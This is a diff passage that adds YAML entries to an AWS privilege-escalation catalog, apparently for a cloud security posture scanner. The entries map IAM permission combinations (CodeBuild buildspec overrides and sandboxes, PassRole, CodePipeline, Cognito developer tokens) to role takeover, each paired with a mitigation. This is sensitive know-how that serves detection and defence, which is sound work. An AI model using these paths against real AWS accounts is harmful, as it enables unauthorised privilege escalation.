edgelambda.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: Roles trusting lambda and edgelambda in {account} + outcome: workload_execution + preconditions: + - cloudfront_edge_distribution_and_service_roles + conditions: + - id: first_time_slr + description: The first Lambda@Edge association in an account also needs iam:CreateServiceLinkedRole. + - id: us_east_1 + description: The function must be created in us-east-1. + - id: same_version_and_distribution + description: The Lambda actions must cover one new function and its numbered version, and the source must be able to create or update a distribution that will invoke it. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Lambda@Edge roles and cloudfront:CreateDistribution / UpdateDistribution. + references: + - https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/lambda-edge-permissions.html + notes: trust_allows_service given as a list means every listed principal must be trusted. Roles trusting only + lambda.amazonaws.com are reachable through the generic Lambda PassRole technique (lambda.yaml) instead. The + Lambda@Edge permissions page writes replication permissions with trailing wildcards; the concrete actions in the + Service Authorization Reference are lambda:EnableReplication and lambda:DisableReplication. The precondition + checks cloudfront:CreateDistribution on * or cloudfront:UpdateDistribution on one exact recorded distribution; + a wildcard requirement on UpdateDistribution would miss permissions scoped to that distribution. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/cloudwatch.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/cloudwatch.yaml new file mode 100644 index 0000000000..2195395342 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/cloudwatch.yaml @@ -0,0 +1,11 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon CloudWatch privilege escalation techniques. +# Source: hacktricks-cloud aws-cloudwatch-omni-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/codeartifact.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/codeartifact.yaml new file mode 100644 index 0000000000..4855f3d5e3 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/codeartifact.yaml @@ -0,0 +1,8 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS codeartifact privilege escalation techniques. +# Added by the HackTricks privesc completeness audit (rev 6fb9ac51fd). diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/codebuild.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/codebuild.yaml new file mode 100644 index 0000000000..d6ed68dfb0 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/codebuild.yaml @@ -0,0 +1,334 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS CodeBuild privilege escalation techniques. +# Source: hacktricks-cloud aws-codebuild-privesc/README.md. + +- id: aws-codebuild-startbuild-attached-role + provider: aws + service: codebuild + title: Start a build of an existing project with an overridden buildspec + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#codebuildstartbuild--codebuildstartbuildbatch + source_revision: 171e422299 + summary: The source can obtain the privileges of the service role of an existing CodeBuild project by starting a build (or build batch) with build commands it controls. + requires: + all_of: [] + any_of: + - - action: codebuild:StartBuild + resource: "{target.attached_resource_arn}" + request_context: + codebuild:source.buildspec: | + version: 0.2 + phases: + build: + commands: + - aws sts get-caller-identity + - - action: codebuild:StartBuildBatch + resource: "{target.attached_resource_arn}" + request_context: + codebuild:source.buildspec: | + version: 0.2 + batch: + build-list: + - identifier: run + phases: + build: + commands: + - aws sts get-caller-identity + target: + kind: aws_role + selector: + attached_to_service: codebuild + scope: same_account + aggregate_as: "Service roles of CodeBuild projects the source can start in {account}" + preconditions: + - codebuild_existing_project_buildspec_override + conditions: + - id: override_available + description: StartBuild accepts buildspec, source and environment-variable overrides without extra permissions; StartBuildBatch needs a batch service role able to start child builds. + - id: runnable_project + description: The project must be able to start a build and reach the attacker-controlled inline buildspec. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict codebuild:StartBuild/StartBuildBatch to pipelines and keep project service roles least-privileged. + references: + - https://docs.aws.amazon.com/codebuild/latest/APIReference/API_StartBuild.html + notes: The selected build action applies to the same project carrying the target role. Environment-variable overrides (StartBuild Env Var Override subsection) are a variant of the same edge. + +- id: aws-codebuild-startcommandexecution + provider: aws + service: codebuild + title: Run a command in a running CodeBuild sandbox + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#codebuildstartcommandexecution--execute-in-a-running-sandbox + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the service role of a CodeBuild project that has a running sandbox + it can send commands to. + requires: + all_of: + - action: codebuild:StartCommandExecution + resource: '{target.codebuild_running_sandbox_arn}' + target: + kind: aws_role + selector: + attached_to_service: codebuild_sandbox + scope: same_account + aggregate_as: Service roles of CodeBuild projects with sandboxes covered by codebuild:StartCommandExecution + in {account} + outcome: workload_execution + preconditions: + - codebuild_running_sandbox_command + conditions: + - id: running_sandbox + description: A sandbox must be running for the project (or the source must also hold codebuild:StartSandbox). + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict sandbox actions and stop idle sandboxes. + references: [] + notes: No iam:PassRole, StartBuild or UpdateProject is needed. The evaluator checks StartCommandExecution on the exact ARN of a recorded running sandbox using the target role. + + +- id: aws-codebuild-startsandboxconnection + provider: aws + service: codebuild + title: Open an interactive Session Manager shell in a running CodeBuild sandbox + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#codebuildstartsandboxconnection--open-an-interactive-shell-in-a-running-sandbox + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the service role of a CodeBuild project that has a running sandbox + by opening an interactive shell inside the sandbox container. + requires: + all_of: + - action: codebuild:StartSandboxConnection + resource: '{target.codebuild_running_sandbox_arn}' + target: + kind: aws_role + selector: + attached_to_service: codebuild_sandbox + scope: same_account + aggregate_as: Service roles of CodeBuild projects with sandboxes covered by codebuild:StartSandboxConnection + in {account} + outcome: workload_execution + preconditions: + - codebuild_running_sandbox_connection + conditions: + - id: running_sandbox + description: A sandbox must be running for the project and its ID known to the source. + - id: ssm_agent_in_image + description: The sandbox image must have a working SSM Agent and the project configuration must allow CodeBuild + to start the Session Manager session. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Scope codebuild:StartSandboxConnection to exact sandbox ARNs of trusted operators and stop idle sandboxes. + references: + - https://docs.aws.amazon.com/codebuild/latest/APIReference/API_StartSandboxConnection.html + notes: Caller-side ssm:StartSession and iam:PassRole are not required. The evaluator checks StartSandboxConnection on the exact ARN of a recorded running sandbox using the target role. + + +- id: aws-codebuild-passrole-createproject + provider: aws + service: codebuild + title: Create a CodeBuild project with a passed service role and run it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#iampassrole-codebuildcreateproject-codebuildstartbuild--codebuildstartbuildbatch + source_revision: 171e422299 + summary: The source can obtain the privileges of passable roles trusting codebuild.amazonaws.com by creating and running a project with that service role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: codebuild.amazonaws.com + - action: codebuild:CreateProject + resource: arn:{source.partition}:codebuild:*:{source.account}:project/* + bind: new_project + any_of: + - - action: codebuild:StartBuild + resource: arn:{source.partition}:codebuild:*:{source.account}:project/* + bind: new_project + - - action: codebuild:StartBuildBatch + resource: arn:{source.partition}:codebuild:*:{source.account}:project/* + bind: new_project + target: + kind: aws_role + selector: + trust_allows_service: codebuild.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting codebuild.amazonaws.com in {account}" + outcome: workload_execution + preconditions: + - codebuild_new_project_role_and_build + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict this. + - id: same_new_project + description: CreateProject and the chosen build action must cover one available project name in the same Region. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on CodeBuild service roles and limit codebuild:CreateProject. + references: [] + notes: "" + +- id: aws-codebuild-passrole-updateproject + provider: aws + service: codebuild + title: Change a CodeBuild project's service role and run it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#iampassrole-codebuildupdateproject-codebuildstartbuild--codebuildstartbuildbatch + source_revision: 171e422299 + summary: The source can obtain the privileges of passable roles trusting codebuild.amazonaws.com by assigning them to an existing project and running it. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: codebuild.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: codebuild.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting codebuild.amazonaws.com in {account}" + outcome: workload_execution + preconditions: + - codebuild_existing_project_role_and_build + conditions: + - id: existing_project + description: At least one existing project must be covered by both UpdateProject and StartBuild or StartBuildBatch; batch mode also needs a batch role able to start child builds. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on CodeBuild service roles and codebuild:UpdateProject. + references: [] + notes: "" + +- id: aws-codebuild-updateproject-attached-role + provider: aws + service: codebuild + title: Change an existing CodeBuild project's build definition and run it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#codebuildupdateproject-codebuildstartbuild--codebuildstartbuildbatch + source_revision: 171e422299 + summary: The source can obtain the privileges of the service role of an existing project by changing its buildspec and starting a build. + requires: + all_of: + - action: codebuild:UpdateProject + resource: "{target.attached_resource_arn}" + request_context: + codebuild:source.buildspec: | + version: 0.2 + phases: + build: + commands: + - aws sts get-caller-identity + any_of: + - - action: codebuild:StartBuild + resource: "{target.attached_resource_arn}" + request_context: + codebuild:source.buildspec: + absent: true + - - action: codebuild:StartBuildBatch + resource: "{target.attached_resource_arn}" + request_context: + codebuild:source.buildspec: + absent: true + target: + kind: aws_role + selector: + attached_to_service: codebuild + attached_resource_covered_by: codebuild:UpdateProject + scope: same_account + aggregate_as: "Service roles of CodeBuild projects covered by codebuild:UpdateProject in {account}" + preconditions: + - codebuild_existing_project_update_buildspec + conditions: + - id: project_build_path + description: UpdateProject must permit a buildspec change, and the project must be able to run the changed buildspec with its existing service role; batch mode needs a batch role able to start child builds. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict codebuild:UpdateProject to administrators. + references: [] + notes: This path can remain when StartBuild buildspec overrides are blocked, because UpdateProject changes the stored buildspec and StartBuild can run it without an override. + +- id: aws-codebuild-startsandbox-exec + provider: aws + service: codebuild + title: Start a CodeBuild sandbox for a project and run commands in it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#codebuildstartcommandexecution--execute-in-a-running-sandbox + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the service role of an existing CodeBuild project by starting a sandbox for it and running commands or opening a shell in that sandbox. + requires: + all_of: + - action: codebuild:StartSandbox + resource: "{target.attached_resource_arn}" + any_of: + - - action: codebuild:StartCommandExecution + resource: "{target.codebuild_sandbox_arn}" + - - action: codebuild:StartSandboxConnection + resource: "{target.codebuild_sandbox_arn}" + target: + kind: aws_role + selector: + attached_to_service: codebuild + trust_allows_service: codebuild.amazonaws.com + attached_resource_covered_by: codebuild:StartSandbox + scope: same_account + aggregate_as: "Service roles of CodeBuild projects covered by codebuild:StartSandbox in {account}" + outcome: workload_execution + conditions: + - id: sandbox_starts + description: The selected project must be able to start a sandbox and reach a running state before a command or connection can be opened. + - id: ssm_agent_in_image + description: The interactive-shell alternative needs a working SSM Agent in the sandbox image and a project configuration that lets CodeBuild start the Session Manager session. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict codebuild:StartSandbox, StartCommandExecution and StartSandboxConnection to trusted operators on exact projects and keep project service roles least-privileged. + references: + - https://docs.aws.amazon.com/codebuild/latest/APIReference/API_StartSandbox.html + notes: Removes the running-sandbox runtime prerequisite of aws-codebuild-startcommandexecution and aws-codebuild-startsandboxconnection; the page states the caller of those needs no StartSandbox only when a sandbox is already running. + +- id: aws-codebuild-plaintext-env-credential + provider: aws + service: codebuild + title: codebuild:BatchGetProjects / BatchGetBuilds + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#codebuildbatchgetprojects-codebuildbatchgetbuilds--read-build-environment-values + source_revision: 57bd5c07df + summary: Read a verified usable credential from a plaintext CodeBuild environment value. + requires: + all_of: [] + any_of: + - - action: codebuild:BatchGetProjects + resource: '*' + - - action: codebuild:BatchGetBuilds + resource: '*' + target: + kind: aws_user + selector: + aws_challenge_fact: aws-codebuild-plaintext-env-credential + scope: same_account + outcome: credentials + grants: + - Exact IAM user authenticated by a reviewed usable access key in the named resource + conditions: + - id: exact_credential_subject_resource + description: A reviewed evidence record must bind the source IAM principal, exact readable resource + and action, a read and authentication as the named IAM user, and an exact action and resource denied + to the source but allowed with that key; the source must hold effective read permission. + confidence: conditional + severity: high + mitigation: Restrict the named operation to trusted administrators and review downstream grants. + references: + - https://docs.aws.amazon.com/codebuild/latest/APIReference/Welcome.html + notes: Only a direct IAM user access key is modeled. STS and application sessions remain held because + their effective rights may be narrower than the role or application identity. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/codecommit.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/codecommit.yaml new file mode 100644 index 0000000000..d7b324a9c7 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/codecommit.yaml @@ -0,0 +1,9 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS CodeCommit privilege escalation techniques. +# Source: hacktricks-cloud aws-codecommit-pipeline-source-privesc/README.md (rev 171e422299). +# Uses {target.consumer_input_arn} and consumer_input_writable_via (see codepipeline.yaml S3 source entry). diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/codeconnections.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/codeconnections.yaml new file mode 100644 index 0000000000..6c3063ab93 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/codeconnections.yaml @@ -0,0 +1,8 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS CodeConnections (CloudFormation Git sync) privilege escalation techniques. +# Source: hacktricks-cloud aws-codeconnections-privesc/README.md (rev 171e422299). diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/codedeploy.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/codedeploy.yaml new file mode 100644 index 0000000000..4b865815ba --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/codedeploy.yaml @@ -0,0 +1,8 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS CodeDeploy privilege escalation techniques. +# Source: hacktricks-cloud aws-codedeploy-privesc/README.md. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/codepipeline.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/codepipeline.yaml new file mode 100644 index 0000000000..fcf003389c --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/codepipeline.yaml @@ -0,0 +1,150 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS CodePipeline privilege escalation techniques. +# Source: hacktricks-cloud aws-codepipeline-privesc/README.md. + +- id: aws-codepipeline-passrole-createpipeline-codebuild + provider: aws + service: codepipeline + title: Create a pipeline and CodeBuild project using an S3 source + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#iampassrole-codepipelinecreatepipeline-codebuildcreateproject-codepipelinestartpipelineexecution + source_revision: 171e422299 + summary: The source may obtain a CodeBuild role's privileges by creating a project and pipeline, placing a source ZIP in S3, and starting the pipeline. + requires: + all_of: + - action: iam:PassRole + - action: codebuild:CreateProject + - action: codepipeline:CreatePipeline + - action: codepipeline:StartPipelineExecution + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + trust_allows_service: codebuild.amazonaws.com + scope: same_account + aggregate_as: "CodeBuild roles reachable through new S3 sourced pipelines in {account}" + preconditions: + - codepipeline_new_s3_project_route + conditions: + - id: passable_pipeline_role + description: The source must pass the target to CodeBuild and a pipeline role to CodePipeline. That pipeline role must be able to start the new project. + - id: readable_source + description: A versioned S3 bucket in the pipeline Region must accept a ZIP source object, and the pipeline and build roles must be able to use the artifact store. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict who can pass CodeBuild roles and who can create pipelines and projects with those roles. + references: + - https://docs.aws.amazon.com/codepipeline/latest/userguide/action-reference-S3.html + - https://docs.aws.amazon.com/codepipeline/latest/userguide/action-reference-CodeBuild.html + notes: This entry validates the S3 source path. Other source providers require their own source and artifact authorization checks. + +- id: aws-codepipeline-passrole-createpipeline-codebuild-codecommit + provider: aws + service: codepipeline + title: Create a pipeline and CodeBuild project using a CodeCommit source + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#iampassrole-codepipelinecreatepipeline-codebuildcreateproject-codepipelinestartpipelineexecution + source_revision: 171e422299 + summary: The source may obtain a CodeBuild role's privileges by creating a project and pipeline that runs a recorded CodeCommit branch or one it can push. + requires: + all_of: + - action: iam:PassRole + - action: codebuild:CreateProject + - action: codepipeline:CreatePipeline + - action: codepipeline:StartPipelineExecution + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + trust_allows_service: codebuild.amazonaws.com + scope: same_account + aggregate_as: "CodeBuild roles reachable through new CodeCommit sourced pipelines in {account}" + preconditions: + - codepipeline_new_codecommit_project_route + conditions: + - id: passable_pipeline_role + description: The source must pass the target to CodeBuild and a pipeline role to CodePipeline. The pipeline role must be able to start the new project. + - id: available_source + description: A recorded branch or a branch the source can push must be available. The pipeline role must read and archive the repository into an artifact bucket that the build role can read. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict who can pass CodeBuild roles and who can create pipelines and projects with those roles. + references: + - https://docs.aws.amazon.com/codepipeline/latest/userguide/action-reference-CodeCommit.html + - https://docs.aws.amazon.com/codepipeline/latest/userguide/action-reference-CodeBuild.html + notes: The ZIP output format uses the pipeline role to archive the repository and does not require the build role to clone it. + +- id: aws-codepipeline-passrole-createpipeline-codebuild-ecr + provider: aws + service: codepipeline + title: Create a pipeline and CodeBuild project using an ECR source + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#iampassrole-codepipelinecreatepipeline-codebuildcreateproject-codepipelinestartpipelineexecution + source_revision: 171e422299 + summary: The source may obtain a CodeBuild role's privileges by creating a project and pipeline that uses a recorded tagged ECR image as its source. + requires: + all_of: + - action: iam:PassRole + - action: codebuild:CreateProject + - action: codepipeline:CreatePipeline + - action: codepipeline:StartPipelineExecution + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + trust_allows_service: codebuild.amazonaws.com + scope: same_account + aggregate_as: "CodeBuild roles reachable through new ECR sourced pipelines in {account}" + preconditions: + - codepipeline_new_ecr_project_route + conditions: + - id: existing_image + description: An ECR repository must contain a tagged image the pipeline role can describe, and the resulting source artifact must be readable by the build role. + - id: passable_pipeline_role + description: The source must pass the target to CodeBuild and a pipeline role to CodePipeline, and that pipeline role must start the new project. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict who can pass CodeBuild roles and who can create pipelines and projects with those roles. + references: + - https://docs.aws.amazon.com/codepipeline/latest/userguide/action-reference-ECR.html + - https://docs.aws.amazon.com/codepipeline/latest/userguide/action-reference-CodeBuild.html + notes: The ECR source provides an imageDetail.json artifact; the controlled buildspec is supplied when creating the project. + +- id: aws-codepipeline-updatepipeline-codebuild-updateproject + provider: aws + service: codepipeline + title: Change a pipeline's CodeBuild project and run the pipeline + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#codebuildupdateproject-codepipelineupdatepipeline-codepipelinestartpipelineexecution + source_revision: 171e422299 + summary: The source may obtain the privileges of a CodeBuild role by changing the buildspec of a project used by a pipeline and starting that pipeline. + requires: + all_of: + - action: codepipeline:StartPipelineExecution + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + trust_allows_service: codebuild.amazonaws.com + scope: same_account + aggregate_as: "CodeBuild roles reachable through configured pipelines in {account}" + preconditions: + - codepipeline_existing_project_update_buildspec + conditions: + - id: pipeline_can_start_project + description: Earlier actions must actually produce every named build input, the build action must consume those inputs and use the changed project buildspec, and the pipeline or action role must be able to start the exact project. Batch builds and build role overrides add requirements. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict who can change buildspecs and start pipelines that use privileged CodeBuild roles. + references: + - https://docs.aws.amazon.com/codepipeline/latest/userguide/action-reference-CodeBuild.html + notes: The route uses an existing pipeline and project, so UpdatePipeline is unnecessary. AWS does not let a pipeline change its service role after creation. A configured artifact name alone does not show that a source revision or earlier action can deliver it; reporting a role edge requires a fresh reviewed execution bound to the exact pipeline and project definitions, consumed input artifacts, changed buildspec and useful action under the CodeBuild role. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/cognito.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/cognito.yaml new file mode 100644 index 0000000000..ea01ce8d76 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/cognito.yaml @@ -0,0 +1,161 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Cognito privilege escalation techniques. +# Source: hacktricks-cloud aws-cognito-privesc/README.md. + +- id: aws-cognito-getopenidtokenfordeveloperidentity + provider: aws + service: cognito-identity + title: Obtain a developer identity pool's authenticated role credentials + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-identitygetopenidtokenfordeveloperidentity--mint-credentials-for-the-pools-authenticated-role-with-no-account-at-all + source_revision: ad04436fdb + summary: The source can mint a developer-authenticated identity token for an exact pool and exchange it for that pool's authenticated IAM role credentials. + requires: + all_of: + - action: cognito-identity:GetOpenIdTokenForDeveloperIdentity + resource: "{target.attached_resource_arn}" + target: + kind: aws_role + selector: + cognito_developer_authenticated_role: true + scope: same_account + aggregate_as: "Authenticated roles of developer identity pools reachable in {account}" + outcome: credentials + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Grant GetOpenIdTokenForDeveloperIdentity only to the backend roles that verify users for each developer identity pool. + references: + - https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetOpenIdTokenForDeveloperIdentity.html + - https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html + notes: The selector requires a collected developer provider, the pool's authenticated role, and role trust that admits the pool audience and authenticated Cognito method. Guest and rule-mapped roles are excluded. + +- id: aws-cognito-getopenidtokenfordeveloperidentity-classic + provider: aws + service: cognito-identity + title: Use a developer identity token with a trusted IAM role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-identitygetopenidtokenfordeveloperidentity--mint-credentials-for-the-pools-authenticated-role-with-no-account-at-all + source_revision: ad04436fdb + summary: A source that can mint a developer identity token for a pool with Basic authentication enabled can exchange it through STS for an IAM role that trusts that pool and authenticated method. + requires: + all_of: + - action: cognito-identity:GetOpenIdTokenForDeveloperIdentity + resource: "{target.attached_resource_arn}" + target: + kind: aws_role + selector: + cognito_developer_classic_role: true + scope: any + aggregate_as: "Roles trusting classic developer identity pools reachable in {account}" + outcome: credentials + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict developer-token issuance to trusted backend identities and keep Basic authentication disabled unless the application needs it. + references: + - https://docs.aws.amazon.com/cognito/latest/developerguide/developer-authenticated-identities.html + - https://docs.aws.amazon.com/cognito/latest/developerguide/authentication-flow.html + - https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html + notes: The pool must have AllowClassicFlow enabled. The selector verifies token-mint permission on that same pool and the target role's matching Cognito web-identity trust. Cross-account roles require explicit aud and amr trust conditions. + +- id: aws-cognito-setidentitypoolroles-developer-token + provider: aws + service: cognito-identity + title: Set an identity pool role and obtain its credentials + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-identitysetidentitypoolroles-iampassrole + source_revision: ad04436fdb + summary: A source that can set an identity pool's authenticated role, pass the target role and mint a developer token for that same pool can obtain the target role's credentials. + requires: + all_of: + - action: cognito-identity:SetIdentityPoolRoles + resource: "*" + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: cognito-identity.amazonaws.com + - action: cognito-identity:GetOpenIdTokenForDeveloperIdentity + resource: "{target.attached_resource_arn}" + target: + kind: aws_role + selector: + cognito_developer_settable_authenticated_role: true + scope: same_account + aggregate_as: "Roles assignable to developer identity pools in {account}" + outcome: credentials + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict SetIdentityPoolRoles and iam:PassRole to approved pool roles, and limit developer-token issuance to trusted backend identities. + references: + - https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_SetIdentityPoolRoles.html + - https://docs.aws.amazon.com/cognito/latest/developerguide/role-based-access-control.html + - https://docs.aws.amazon.com/cognito/latest/developerguide/developer-authenticated-identities.html + notes: SetIdentityPoolRoles has no resource-level IAM scope. The selector still requires the source to own a collected developer pool, have token-mint permission on that exact pool, and choose a same-account role whose web-identity trust admits its authenticated developer token. Other token sources need separate proof. + +- id: aws-cognito-updateidentitypool-enable-classic-developer-token + provider: aws + service: cognito-identity + title: Enable Basic authentication and use a developer token + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-identityupdateidentitypool + source_revision: ad04436fdb + summary: A source that can enable Basic authentication on a developer identity pool and mint its token can exchange that token through STS for a role that trusts the pool. + requires: + all_of: + - action: cognito-identity:UpdateIdentityPool + resource: "{target.attached_resource_arn}" + - action: cognito-identity:GetOpenIdTokenForDeveloperIdentity + resource: "{target.attached_resource_arn}" + target: + kind: aws_role + selector: + cognito_developer_enable_classic_role: true + scope: any + aggregate_as: "Roles reachable after enabling Basic authentication in {account}" + outcome: credentials + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict identity-pool updates and developer-token issuance to approved backend roles, and keep Basic authentication disabled where it is unnecessary. + references: + - https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_UpdateIdentityPool.html + - https://docs.aws.amazon.com/cognito/latest/developerguide/developer-authenticated-identities.html + - https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html + notes: The collected pool must have a developer provider and enough configuration to preserve required UpdateIdentityPool fields. The selector verifies both permissions on the same pool and matching target trust. Cross-account roles need explicit aud and amr trust conditions. + +- id: aws-cognito-updateidentitypool-enable-guest-classic-role + provider: aws + service: cognito-identity + title: Enable guest Basic flow and assume a role trusting the pool + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-identityupdateidentitypool + source_revision: c111ee5412 + summary: A source that can update an identity pool can enable guest and Basic authentication, obtain a guest token, and assume an IAM role that trusts the pool's unauthenticated web identity. + requires: + all_of: + - action: cognito-identity:UpdateIdentityPool + resource: "{target.attached_resource_arn}" + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + cognito_guest_update_classic_role: true + scope: any + aggregate_as: "Roles reachable after enabling guest Basic flow in {account}" + outcome: credentials + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict identity-pool updates to approved administrators, and allow guest Basic flow only where the trusted roles have deliberately limited permissions. + references: + - https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_UpdateIdentityPool.html + - https://docs.aws.amazon.com/cognito/latest/developerguide/authentication-flow.html + - https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html + notes: The collected pool needs a usable name, no role mappings and at least one of guest access or Basic flow currently disabled. The source must be able to update that exact pool; no token-mint IAM permission is needed for a guest. The target role must trust the pool audience and unauthenticated method. Cross-account roles require both conditions explicitly. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/config.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/config.yaml new file mode 100644 index 0000000000..41732655af --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/config.yaml @@ -0,0 +1,50 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through 